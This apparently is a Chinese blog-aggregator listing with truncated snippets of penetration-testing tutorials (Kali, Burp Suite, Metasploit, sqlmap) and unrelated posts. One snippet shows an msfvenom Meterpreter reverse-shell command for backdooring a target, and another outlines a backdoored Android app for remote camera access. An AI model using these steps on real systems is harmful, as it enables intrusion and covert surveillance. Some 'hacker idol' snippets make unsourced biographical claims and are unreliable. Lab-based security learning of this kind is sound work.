黑客 玩具suite burp
黑客玩具入门——9、Burp Suite
Burp Suite是一款集成化的渗透测试工具，包含了很多功能，可以帮助我们快速完成对web应用程序的渗透测试和攻击。Burp Suite是由Java语言编写，因为Java是可以跨平台的，所以Burp Suite也是跨平台的，支持windows、linux、mac。 1、代理和浏览器设置 Burp ......
黑客玩具入门——8、其他攻击手段
1、拒绝服务攻击 使用某些手段故意占用某一系统对外服务的有限资源，从而导致其无法正常工作的行为就是拒绝服务攻击。实际上拒绝服务攻击并不是一个攻击方式，它是一类具有相似特征的攻击方式的集合。拒绝服务攻击有以下分类： 1. 数据链路层的拒绝服务攻击 攻击目标：交换机 集线器：以前的内网都是用集线器，集线 ......
黑客玩具入门——7、密码破解
1、字典文件 对密码进行破解的时候，一个字典文件是必不可少的，所谓的字典文件就是由大量词汇构成的文件。在kali Linux系统中字典文件的来源有： 使用字典工具自己生成字典文件 使用kali自带的字典文件，在/usr/share/wordlists目录下 从互联网上下载热门的字典 字典生成工具：C ......
黑客玩具入门——6、网络嗅探
1、网络嗅探：使用TCPDump分析网络数据 TCPDump是一款资深网络工作人员必备的工具。TCPDump是一款小巧的纯命令行工具，正是因为它的体积小巧，所以这款工具可以完美的运行在大多数路由器，防火墙以及Linux系统中。而且TCPDump现在有了Windows版本。 TCPDump的使用： t ......
7-6 赛博黑客
7-6 赛博黑客 目录 目录7-6 赛博黑客目录题目代码思路 题目 在赛博朋克2077的夜之城，网络黑客们可以在入侵敌人协议时利用一种被称为“魔偶”的数字序列来渗透控制敌人，而技术高超的网络监察则努力破解这些魔偶代码，以保护关键信息不被窃取。魔偶（长度为k）如果满足对于所有的i (1≤i≤k−1)， ......
黑客玩具入门——5、继续Metasploit
1、利用FTP漏洞并植入后门 实验靶机：Metasploitable2。 实践： 使用nmap扫描目标靶机 nmap -sV xxx.xxx.xxx.xxx（目标ip） 生成linux系统后门 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=x ......
黑客玩具入门——2、Kali常用命令与简单工具
一、Linux常用命令 首先，我们启动kali系统，然后点击这里的命令行工具。 就可以使用下面学习的命令了，另外，如果你有过计算机基础，那么Mac的terminal和Git的gitbash，都是可以练习大部分的linux命令的。下面我们就学习一些入门的基础命令 sudo，系统管理者的身份执行指令，也 ......
黑客玩具入门——1、前言与装机
一切的一切，希望你做一个正直的、心地善良的人。 1、虚拟机安装指南 常用的虚拟机有VMware和virtualbox。咱们使用VMware来安装虚拟机。 然后我们通过百度搜索VMware，找到下载方式下载VMware-workstation-16即可。也可以在我的网盘中找到。 下载完成后，就跟安装一 ......
Mac中使用sqlmap4burp++
在mac中使用burp加载插件sqlmap4burp，发现报错： 在系统偏好设置--安全性与隐私--隐私--完全磁盘访问权限钩上： ......
SafeLine Web 安全网关保护你的网站不受黑客攻击
SafeLine 简介 今天，推荐给大家的是一款在社区广受好评的网站防护工具 —— SafeLine Web 安全网关。 简单来说这是一个自带安全 buf 的 Nginx，它基于业界领先的语义分析检测技术开发，作为反向代理接入，保护你的网站不受黑客攻击。 SafeLine 的开发团队长亭科技在 We ......
深入理解Laravel(CVE-2021-3129)RCE漏洞(超2万字从源码分析黑客攻击流程)
背景 近期查看公司项目的请求日志，发现有一段来自俄罗斯首都莫斯科（根据IP是这样，没精力溯源）的异常请求，看传参就能猜到是EXP攻击，不是瞎扫描瞎传参的那种。日志如下（已做部分修改）： [2023-11-17 23:54:34] local.INFO: url : http://xxx/_ignit ......
Burp Suite Professional 2023.11.1 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
Burp Suite Professional 2023.11.1 (macOS, Linux, Windows) - Web 应用安全、测试和扫描 Burp Suite Professional, Test, find, and exploit vulnerabilities. 请访问原文链接：h ......
HackerGPT 黑客技术、工具和策略的广泛数据库AI
黑客GPT HackerGPT 是您在黑客世界中黑客的数字伙伴。这款人工智能助手在设计时考虑到了黑客黑客的独特需求，黑客知识和帮助的最前沿。HackerGPT 配备了包含黑客技术、工具和策略的广泛的数据库，它不仅仅是一个信息资源，它还是您黑客之旅的积极参与者。无论您是想要学习技巧的初学者，还是寻求更 ......
黑客演化
如今，“黑客”这个词承载了太多负面含义，让人联想到意在盗取身份和散布破坏性病毒的数字盗贼形象。 真相却并非总是如此。事实上，大众眼中的计算机黑客，最初，是那些只想着优化、定制和修补的技术狂热者。直到最近几十年，随着病毒和网络犯罪的诞生，传统黑客也被绑架进了恶意黑客范畴，一起承担了公众对黑客行为的中伤 ......
突发】中国工商银行遭勒索软件攻击，附黑客攻击漏洞检测利用脚本
突发】中国工商银行遭勒索软件攻击，附黑客攻击漏洞检测利用脚本 原创 安全透视镜 网络安全透视镜 2023-11-11 11:59 发表于美国 11月10日，中国工商银行股份有限公司在美全资子公司工银金融服务有限责任公司（ICBCFS）在官网发布声明称，美东时间11月8日，ICBCFS遭受了勒索软件攻 ......
《黑客攻防技术宝典》阅读笔记
1. 密码破解与加密 探讨了不同类型的密码攻击，包括字典攻击和暴力攻击。 重点介绍了密码哈希和加盐的概念，以及如何防止Rainbow Table攻击。 2. Web应用程序安全 强调了常见的Web漏洞，如SQL注入和跨站脚本攻击（XSS）。 提供了一些建议，帮助开发者编写更安全的代码，以防范常见的W ......
【工具篇】switchyomega+burp实现定向网站抓包
一、SwitchyOmega的安装 下载页面地址：https://github.com/FelisCatus/SwitchyOmega/releases 直接下载地址：https://github.com/FelisCatus/SwitchyOmega/releases/download/v2.5. ......
黑客与骇客的行为差异与思想差异
·对于骇客来说，只要能找到系统的一个弱点，就可以达到入侵系统的目的； ·对于从事安全的白帽子而言，必须找到系统的所有弱点，不能有遗漏，并且将所有弱点全部消除，才能保证系统不会出现安全问 题； ·这种差异是由于工作环境与工作目的导致的： 白帽子一般为企业或安全公司服务，工作的出发点就是要解决所有安全问 ......
Burp联动Sqlmap插件进行sql注入扫描
一、插件介绍 sqlmap4burp++是一款兼容Windows，mac，linux多个系统平台的Burp与sqlmap联动插件 这个插件嘎嘎好用，大大提升了sqlmap的效率 项目地址https://git hub.com/c0ny1/sqlmap4burp-plus-plus git hub中间 ......
个人项目（玩具）列表（可能会更新）
Github \(\Rightarrow \texttt{VCPP}\) Description：一个简单的解释器。一些（不存在的）亮点：多文件编译，简单的面向对象（类和继承），跨平台，\(\texttt{auto-GC}\)。 \(\Rightarrow \texttt{VCPPIDE}\) De ......
用MSF远程打开摄像头。黑客手机丢了怎么找？
1、首先通过MSF，生成手机client端程序，其中需要配置server端IP和port; msfvenom主要用来生成带后门的软件 2、生成的安卓apk在手机安装运行 3、运行msfconsole，进入控制台 与手机建立连接 输入webcam_stream，即可打开摄像头 ......
CF1861F Four Suits【网络流，贪心】
有 \(n\) 个人，\(4\) 种不同的卡牌，初始第 \(i\) 个人有 \(a_{i,j}\) 张第 \(j\) 种卡牌。 你是局外人，手里第 \(j\) 种卡牌有 \(b_j\) 个，你现在要把你的卡牌分给这 \(n\) 个人，使得分完之后每个人手里的卡牌总数相等，保证有解。 第 \(i\) ......
Burp验证码识别插件
Captcha-killer验证码识别插件分享 0x01 下载安装插件 项目地址 https://github.com/f0ng/captcha-killer-modified 插件下载地址 https://github.com/f0ng/captcha-killer-modified/releas ......
Burp Suite插件开发 更新UI组件
Issue note 操作Swing GUI 组件时，遇到一个问题，比如在前端设置了一个表格，表格里面的数据是后台动态生成的，发现却更新不了。 我尝试猜测问题的原因： 我把表格嵌套在一个面板B，面板B又嵌套在面板A，所以需要刷新面板A才行，也不全对； 线程问题，需要在一个特定的UI子线程才能更新，也 ......
Ableton Live 11 Suite：Mac上最顶级的音乐制作神器
Ableton Live 11 Suite是一款备受赞誉的音乐制作软件，它为Mac用户带来了前所未有的音乐制作体验。这款卓越的软件不仅具备直观的界面和卓越的音频编辑功能，还集成了众多其他令人惊叹的功能，为用户提供了从构思到发行的全方位音乐制作服务。 →→↓↓载Ableton Live 11 Suit ......
低代码开发是不是“简易低智”的玩具?看这篇就够了
低代码的概念自2014年由研究机构Forrester提出以来，已经在国外市场逐渐成熟，形成了稳定的商业模式。而在国内，从2018年开始，这一理念逐渐受到广泛关注，尽管初期伴随着一些质疑的声音，如“简易低智”、“新瓶旧酒”等批评，甚至有观点认为这只是一些“外包公司”贴上的新标签。然而，经过近三年的发展 ......
我的黑客偶像
国内著名黑客 黑客“小云”是一名国内知名的网络安全专家，他在网络安全领域有着丰富的经验和成就。他曾多次参与国家安全部门的网络安全攻防演练，并成功地破解了多个网络安全漏洞。他还在国内网络安全行业拥有多项发明专利，如“一种网络攻击方法及系统”、“一种网络漏洞扫描方法及系统”等。 国外著名黑客 黑客“Da ......
我的黑客偶像
我的黑客偶像 国内小黄鸡 黄勇（aka "小黄鸡"）是中国著名的白帽黑客，他在网络安全领域有着广泛的影响力。他以其卓越的技术和独特的研究成果而闻名，为网络安全事业做出了重要贡献。 主要成就 黄勇在网络安全领域的成就主要体现在以下几个方面： 1.漏洞挖掘和安全研究 黄勇是一位出色的漏洞挖掘专家，他擅长 ......
我的黑客偶像
我的黑客偶像 国内著名黑客:李俊 事迹:李俊是国内著名的白帽子黑客，他曾经在2010年和2013年两次被《福布斯》杂志评为“中国最具影响力的100位黑客”之一。他主要活跃于网络安全领域，曾经发现过多个漏洞，包括微软Windows操作系统的漏洞。他还曾经获得过多个国际和国内的安全奖项，如CTF、Bla ......